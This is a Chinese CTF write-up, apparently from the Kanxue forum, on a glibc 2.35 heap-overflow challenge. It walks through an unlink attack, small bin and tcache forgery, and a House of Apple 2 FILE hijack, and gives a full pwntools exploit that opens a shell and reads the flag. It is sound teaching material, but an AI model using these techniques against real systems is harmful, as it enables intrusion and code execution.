一
题目
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>#define SIZE_SMALL 0x40
#define SIZE_BIG 0x80char *g_buf;
int getint(const char *msg) {
int val;
printf("%s", msg);
if (scanf("%d%*c", &val) != 1) exit(1);
return val;
}int main() {
setvbuf(stdout, NULL, _IONBF, 0);while (1) {
puts("1. new\n2. show\n3. delete");
switch (getint("> ")) {
case 1: { /* new */
if (g_buf) {
puts("[-] Buffer in use");
break;
}if (getint("Size [1=small / 2=big]: ") == 1) {
g_buf = (char*)malloc(SIZE_SMALL);
} else {
g_buf = (char*)malloc(SIZE_BIG);
}printf("Data: ");
read(STDIN_FILENO, g_buf, SIZE_BIG);
g_buf[strcspn(g_buf, "\n")] = '\0';
break;
}case 2: { /* show */
if (!g_buf) {
puts("[-] Empty buffer");
} else {
printf("Data: %s\n", g_buf);
}
break;
}case 3: { /* delete */
if (!g_buf) {
puts("[-] Empty buffer");
} else {
free(g_buf);
g_buf = NULL;
}
break;
}default:
puts("[+] Bye!");
return 0;
}
}
}
malloc(0x80)
以及malloc(0x40)
,无论申请哪一个,都会read(0, g_buf, 0x80)。
g_buf。
free(g_buf)
之后,清空g_buf。
二
漏洞
read(0, g_buf, 0x80)
,但是局限十分多。p = malloc(0x40)
free(p)
p = malloc(0x80)
free(p)
p = malloc(0x40) // 重新申请回上述的0x40块
read(0, p, 0x80) // 溢出写入到下方的0x80块的fd,并修改size改小
free(p)
p = malloc(0x80)
free(p) // 由于上文改小了size,那么这里释放的时候就不会进入0x90的管理
p = malloc(0x80) // 此时再次申请,如果低版本的tcache就可以申请出任意地址,但是2.35不行
三
信息收集
p = malloc(0x800);
p = realloc(p, 0x1000);
p = realloc(p, 0x2000);
free(p)
add(1, b"a" * 0x48 + p64(0xd11))
show2(0x1000)
free()
add(1, b"a" * 0x50)
show()
io.recvuntil(b"Data: " + b"a" * 0x50)
libc_base = u64(io.recvuntil(b"\n", drop=True).ljust(8, b"\x00")) - 0x219ce0
log.success(f"libc_base : {libc_base:#x}")
free()
add(1, b"a" * 0x48 + p64(0xcf1))
_int_malloc
中有这么一串代码:while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))
{
bck = victim->bk;
size = chunksize (victim);
mchunkptr next = chunk_at_offset (victim, size);if (__glibc_unlikely (size <= CHUNK_HDR_SZ)
|| __glibc_unlikely (size > av->system_mem))
malloc_printerr ("malloc(): invalid size (unsorted)");
if (__glibc_unlikely (chunksize_nomask (next) < CHUNK_HDR_SZ)
|| __glibc_unlikely (chunksize_nomask (next) > av->system_mem))
malloc_printerr ("malloc(): invalid next size (unsorted)");
if (__glibc_unlikely ((prev_size (next) & ~(SIZE_BITS)) != size))
malloc_printerr ("malloc(): mismatching next->prev_size (unsorted)");
if (__glibc_unlikely (bck->fd != victim)
|| __glibc_unlikely (victim->fd != unsorted_chunks (av)))
malloc_printerr ("malloc(): unsorted double linked list corrupted");
if (__glibc_unlikely (prev_inuse (next)))
malloc_printerr ("malloc(): invalid next->prev_inuse (unsorted)");
size
位是不是合法的,是否满足0x10 <= size <= system_mem。
size
是不是合法的,是否满足0x10 <= size <= system_mem。
size
的prev_size
是否和自己的size
相等。bck->fd
是否等于自己,以及自己的fd
是否是main_arena
内的一个特定地址。prev_inuse
是不是0。
prev_inuse
标志是1,代表A块是使用中,所以不会发生unlink,否则unlink会报错(试想一下,如果没有B块,那么A块没有被使用的,如果申请一个刚好大小为当前unsortbin的块,再释放,那么就会触发向前合并unlink,之后由于A块的fd和bk指针问题,导致程序crash)。REVEAL_PTR
的保护,所以Tcache bin的第一块由于fd是0,但是被加密之后会变成0 ^ (heap_adde >> 12)
的值,故可以直接泄露堆地址。#define PROTECT_PTR(pos, ptr) \
((__typeof (ptr)) ((((size_t) pos) >> 12) ^ ((size_t) ptr)))
#define REVEAL_PTR(ptr) PROTECT_PTR (&ptr, ptr)
... # 衔接上文泄露libc
free()
add(2, b"a")
free()
add(1, b"aaaa")
free()
add(2, b"aaaa")
free()
add(1, b"a" * 0x50)
show()
io.recvuntil(b"Data: " + b"a" * 0x50)
heap_base = u64(io.recvuntil(b"\n", drop=True).ljust(8, b"\x00")) << 12
log.success(f"heap_base : {heap_base:#x}")
# 一下两行仅仅作为临时修复,使得堆布局好看一点,正式攻击可以删除
free()
add(1, b"a" * 0x40 + p64(0) + p64(0x91))
四
利用攻击
Small bin
!if (in_smallbin_range (nb))
{
idx = smallbin_index (nb);
bin = bin_at (av, idx);if ((victim = last (bin)) != bin)
{
bck = victim->bk;
if (__glibc_unlikely (bck->fd != victim))
malloc_printerr ("malloc(): smallbin double linked list corrupted");
set_inuse_bit_at_offset (victim, nb);
bin->bk = bck;
bck->fd = bin;if (av != &main_arena)
set_non_main_arena (victim);
check_malloced_chunk (av, victim, nb);
#if USE_TCACHE
/* While we're here, if we see other chunks of the same size,
stash them in the tcache. */
size_t tc_idx = csize2tidx (nb);
if (tcache != NULL && tc_idx < mp_.tcache_bins)
{
mchunkptr tc_victim;/* While bin not empty and tcache not full, copy chunks over. */
while (tcache->counts[tc_idx] < mp_.tcache_count
&& (tc_victim = last (bin)) != bin)
{
if (tc_victim != 0)
{
bck = tc_victim->bk;
set_inuse_bit_at_offset (tc_victim, nb);
if (av != &main_arena)
set_non_main_arena (tc_victim);
bin->bk = bck;
bck->fd = bin;tcache_put (tc_victim, tc_idx); // !!!!!! 注意这里 放入了tcache内
}
}
}
#endif
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
}
}
while (tcache->counts[tc_idx] < mp_.tcache_count && (tc_victim = last (bin)) != bin) {
if (tc_victim != 0) {
bck = tc_victim->bk;
set_inuse_bit_at_offset (tc_victim, nb);
if (av != &main_arena)
set_non_main_arena (tc_victim);
bin->bk = bck;
bck->fd = bin;tcache_put (tc_victim, tc_idx); // !!!!!! 注意这里 放入了tcache内
}
}
}
Tcache[0x90]
不能有free的堆块,以及需要一次malloc(0x80)
,那么我们伪造的small bin大小也需要是0x90。size >= 0x90 && malloc(size)
,且不能命中Tcache。0x80-0x40=0x40
,这个0x40大小的空间包括了下一个堆块的prev_size
和size
位置,以及堆块内容部分。假设我们能修改上图中0x90堆块的size位置改大,并能成功free,那么就会进入unsorted bin中,如果此时构造我们无法完成两块小哨兵块的布置,因为需要如下的布局。| prev_size | size |
+--------------------+
0x00 | | 0x50 |
0x10 | | | -- 可控起始位置
+--------------------+ <- Unsorted bin
0x50 | | 0x91 |
0x90 | | |
0xD0 | | | -- 可控终止位置
+--------------------+
0xE0 | | 0x10 | -- Chunk A
+--------------------+
0xF0 | | 0x11 | -- Chunk B
+--------------------+
0x80*2-0x40=0xC0
)| prev_size | size |
+------------------------+
0x00 | | 0x50 |
0x10 | fd | bk | -- 可控起始位置
0x20 | | 0x31 |
0x30 | fake fd | fake bk |
+------------------------+
0x50 | 0x30 | 0x?0 | -- 这里的prev_inuse设置为0
0x90 | | |
0xD0 | | | -- 可控终止位置
+------------------------+
| prev_size | size |
+------------------------+
0x00 | | 0x50 |
0x10 | fd | bk | -- 可控起始位置
+------------------------+
0x20 | | 0x91 | <- Unsorted bin
0x90 | | |
+------------------------+
0xB0 | | 0x10 | -- Chunk A
+------------------------+
0xC0 | | 0x11 | -- Chunk B
+------------------------+
0xD0 | | | -- 可控终止位置
p->fd = p;
p->bk = p;
next(p)->prev_inuse = 0;
next(p)->prev_size = p->size;
mchunkptr fd = p->fd;
mchunkptr bk = p->bk;
if (__builtin_expect (fd->bk != p || bk->fd != p, 0))
malloc_printerr ("corrupted double-linked list");
[0x10,0xD0]
),那么需要如何做呢?请读者再压下脑栈,马上就要串起来了,继续往下看!scanf
!0x33
!!!因为这个ascii字符是3
,也就是选择free的菜单选项,什么时候写入呢?当然是最最最开始的时候,堆十分“干净”的时候啦。def free3(len):
io.sendlineafter(b"> ", b"0" * (len-1) + b"3")free3(0xd59) # 这里就是污染0x11堆块之后的堆块的size位置
add(1, b"a" * 0x48 + p64(0xd11))
show2(0x1000)
free()
add(1, b"a" * 0x50)
show()
io.recvuntil(b"Data: " + b"a" * 0x50)
libc_base = u64(io.recvuntil(b"\n", drop=True).ljust(8, b"\x00")) - 0x219ce0
log.success(f"libc_base : {libc_base:#x}")
free()
add(1, b"a" * 0x48 + p64(0xcf1))free()
add(2, b"a")
free()
add(1, b"aaaa")
free()
add(2, b"aaaa")
free()
add(1, b"a" * 0x50)
show()
io.recvuntil(b"Data: " + b"a" * 0x50)
heap_base = u64(io.recvuntil(b"\n", drop=True).ljust(8, b"\x00")) << 12
log.success(f"heap_base : {heap_base:#x}")
free()
add(1, b"a" * 0x40 + p64(0) + p64(0x91))
free3(0xd59)
add(1, b"a" * 0x48 + p64(0xd11))
show2(0x1000)
free()
add(1, b"a" * 0x50)
show()
io.recvuntil(b"Data: " + b"a" * 0x50)
libc_base = u64(io.recvuntil(b"\n", drop=True).ljust(8, b"\x00")) - 0x219ce0
log.success(f"libc_base : {libc_base:#x}")
free()
add(1, b"a" * 0x48 + p64(0xcf1))free()
add(2, b"a")
free()
add(1, b"aaaa")
free()
add(2, b"aaaa")
free()
add(1, b"a" * 0x50)
show()
io.recvuntil(b"Data: " + b"a" * 0x50)
heap_base = u64(io.recvuntil(b"\n", drop=True).ljust(8, b"\x00")) << 12
log.success(f"heap_base : {heap_base:#x}")
free()
# 这里微调了0x90堆块的size位置,不再是修复而是伪造
add(1, b"a" * 0x40 + p64(0) + p64(0xd01))
free()
add(2, b"aaaa")
free()
free3(0xd59)
add(1, b"a" * 0x48 + p64(0xd11))
show2(0x1000)
free()
add(1, b"a" * 0x50)
show()
io.recvuntil(b"Data: " + b"a" * 0x50)
libc_base = u64(io.recvuntil(b"\n", drop=True).ljust(8, b"\x00")) - 0x219ce0
log.success(f"libc_base : {libc_base:#x}")
free()
add(1, b"a" * 0x48 + p64(0xcf1))free()
add(2, b"a")
free()
add(1, b"aaaa")
free()
add(2, b"aaaa")
free()
add(1, b"a" * 0x50)
show()
io.recvuntil(b"Data: " + b"a" * 0x50)
heap_base = u64(io.recvuntil(b"\n", drop=True).ljust(8, b"\x00")) << 12
log.success(f"heap_base : {heap_base:#x}")
free()
# 这里修改了unlink攻击的内容
add(1, b"a" * 0x10 + p64(0) + p64(0x31) + p64(heap_base+0x2c0) * 2 + b"a" * 0x10 + p64(0x30) + p64(0xd00))
free()
add(2, b"aaaa")
free()
free3(0xd59)
add(1, b"a" * 0x48 + p64(0xd11))
show2(0x1000)
free()
add(1, b"a" * 0x50)
show()
io.recvuntil(b"Data: " + b"a" * 0x50)
libc_base = u64(io.recvuntil(b"\n", drop=True).ljust(8, b"\x00")) - 0x219ce0
log.success(f"libc_base : {libc_base:#x}")
free()
add(1, b"a" * 0x48 + p64(0xcf1))free()
add(2, b"a")
free()
add(1, b"aaaa")
free()
add(2, b"aaaa")
free()
add(1, b"a" * 0x50)
show()
io.recvuntil(b"Data: " + b"a" * 0x50)
heap_base = u64(io.recvuntil(b"\n", drop=True).ljust(8, b"\x00")) << 12
log.success(f"heap_base : {heap_base:#x}")
free()
add(1, b"a" * 0x10 + p64(0) + p64(0x31) + p64(heap_base+0x2c0) * 2 + b"a" * 0x10 + p64(0x30) + p64(0xd00))
free()
# 这次微调了这里,加入了上文提到的Chunk AB的布置
add(2, b"a" * 0x50 + p64(0x90) + p64(0x10) + p64(0x00) + p64(0x11))
free()
# 这里就开始修改Unsorted bin内容,使得在Unsorted bin内伪造一个Small bin大小的堆块
add(1, flat({
0x10: 0,
0x18: 0x91,
0x20: heap_base + 0x380,
0x28: libc_base + 0x219ce0,
}, filler=b"\x00"))
show2(0x1000) # 这里触发使得Unsorted bin进入Samll bin
free()
if (__glibc_unlikely (bck->fd != victim))
malloc_printerr ("malloc(): smallbin double linked list corrupted");
free3(0xd59)
add(1, b"a" * 0x48 + p64(0xd11))
show2(0x1000)
free()
add(1, b"a" * 0x50)
show()
io.recvuntil(b"Data: " + b"a" * 0x50)
libc_base = u64(io.recvuntil(b"\n", drop=True).ljust(8, b"\x00")) - 0x219ce0
log.success(f"libc_base : {libc_base:#x}")
free()
add(1, b"a" * 0x48 + p64(0xcf1))free()
add(2, b"a")
free()
add(1, b"aaaa")
free()
add(2, b"aaaa")
free()
add(1, b"a" * 0x50)
show()
io.recvuntil(b"Data: " + b"a" * 0x50)
heap_base = u64(io.recvuntil(b"\n", drop=True).ljust(8, b"\x00")) << 12
log.success(f"heap_base : {heap_base:#x}")
free()
add(1, b"a" * 0x10 + p64(0) + p64(0x31) + p64(heap_base+0x2c0) * 2 + b"a" * 0x10 + p64(0x30) + p64(0xd00))
free()
add(2, b"a" * 0x50 + p64(0x90) + p64(0x10) + p64(0x00) + p64(0x11))
free()
add(1, flat({
0x10: 0,
0x18: 0x91,
0x20: heap_base + 0x380,
0x28: libc_base + 0x219ce0,
}, filler=b"\x00"))
show2(0x1000)
free()# 这里加上了Small bin的伪造
add(1, flat({
0x10 : {
0x00: 0,
0x08: 0x91,
0x10: heap_base + 0x2c0,
0x18: heap_base + 0x2c0 + 0x30,0x30: 0,
0x38: 0x91,
0x40: heap_base + 0x2c0,
0x48: heap_base + 0x2c0 + 0x50,0x50: 0,
0x58: 0x91,
0x60: heap_base + 0x2c0 + 0x30,
0x68: libc_base + 0x219d60
}
}
, filler=b"\x00"))
free()
add(2, b"aaaa")
free()
system = 0x50d60 + libc_base
fake_file = flat({
0x0: b" sh;",
0x28: system,
0xa0: fake_file_addr-0x10, # wide data
0x88: fake_file_addr+0x100, # 可写,且内存为0即可
0xD0: fake_file_addr+0x28-0x68, # wide data vtable
0xD8: libc_base + 0x2160C0, # vtable
}, filler=b"\x00")
_IO_list_all。
_IO_list_all
之后,就完成了House of Apple 2的攻击。五
完整Exp
from pwn import * context.log_level = 'info'
context.arch = 'amd64'
# io = process("./minho")
io = remote("127.0.0.1", 5000)
tob = lambda x: str(x).encode()def add(size, content):
io.sendlineafter(b"> ", b"1")
io.sendlineafter(b"Size [1=small / 2=big]: ", tob(size))
io.sendafter(b"Data: ", content)def add2(size_content, content):
io.sendlineafter(b"> ", b"1")
io.sendlineafter(b"Size [1=small / 2=big]: ", size_content)
io.sendafter(b"Data: ", content)def show():
io.sendlineafter(b"> ", b"2")def show2(len):
io.sendlineafter(b"> ", b"0" * (len-1) + b"2")def show3(len):
io.sendlineafter(b"> ", b"0" * (len-1) + b"2" + b"\x00")def free():
io.sendlineafter(b"> ", b"3")def free3(len):
io.sendlineafter(b"> ", b"0" * (len-1) + b"3")free3(0xd59) # 这一行的作用见上文【伪造Unsorted bin】
# 这一部分信息收集见上文【信息收集】
add(1, b"a" * 0x48 + p64(0xd11))
show2(0x1000)
free()
add(1, b"a" * 0x50)
show()
io.recvuntil(b"Data: " + b"a" * 0x50)
libc_base = u64(io.recvuntil(b"\n", drop=True).ljust(8, b"\x00")) - 0x219ce0
log.success(f"libc_base : {libc_base:#x}")
free()
add(1, b"a" * 0x48 + p64(0xcf1))free()
add(2, b"a")
free()
add(1, b"aaaa")
free()
add(2, b"aaaa")
free()
add(1, b"a" * 0x50)
show()
io.recvuntil(b"Data: " + b"a" * 0x50)
heap_base = u64(io.recvuntil(b"\n", drop=True).ljust(8, b"\x00")) << 12
log.success(f"heap_base : {heap_base:#x}")
free()# 见上文【Unlink攻击以及Smallbin伪造攻击实施】
add(1, b"a" * 0x10 + p64(0) + p64(0x31) + p64(heap_base+0x2c0) * 2 + b"a" * 0x10 + p64(0x30) + p64(0xd00))
free()
add(2, b"a" * 0x50 + p64(0x90) + p64(0x10) + p64(0x00) + p64(0x11))
free()
add(1, flat({
0x10: 0,
0x18: 0x91,
0x20: heap_base + 0x380,
0x28: libc_base + 0x219ce0,
}, filler=b"\x00"))show2(0x1000)
free()# 见上文【修改Small bin】
add(1, flat({
0x10 : {
0x00: 0,
0x08: 0x91,
0x10: heap_base + 0x2c0,
0x18: heap_base + 0x2c0 + 0x30,0x30: 0,
0x38: 0x91,
0x40: heap_base + 0x2c0,
0x48: heap_base + 0x2c0 + 0x50,0x50: 0,
0x58: 0x91,
0x60: heap_base + 0x2c0 + 0x30,
0x68: libc_base + 0x219d60
}
}
, filler=b"\x00"))
free()
add(2, b"aaaa")
free()
_IO_list_all = libc_base + 0x21a680
system = 0x50d60 + libc_basefake_file = heap_base + 0x2e0
# 见上文House of apple 2中解释
add(1, b"a"*0x10+p64(0) + p64(0x71) + p64((heap_base + 0x2d0 + 0x70)^((heap_base)>>12)))
free()
# 这里是布置House of apple 2
add(2, flat({
0x0+0x10: b" sh;",
0x28+0x10: system,
0x68: 0x71,
0x70: _IO_list_all ^((heap_base)>>12),
}, filler=b"\x00"))
free()
add(2, flat({
0xa0-0x60: fake_file-0x10,
0xd0-0x60: fake_file+0x28-0x68,
0xD8-0x60: libc_base + 0x2160C0, # jumptable
}, filler=b"\x00"))
free()
add(2, p64(fake_file))
pause(1)
io.sendline(b"0")
pause(1)
io.sendline(b"cat /flag*")io.interactive()
看雪ID:Csome
https://bbs.kanxue.com/user-home-987682.htm
# 往期推荐
球分享
球点赞
球在看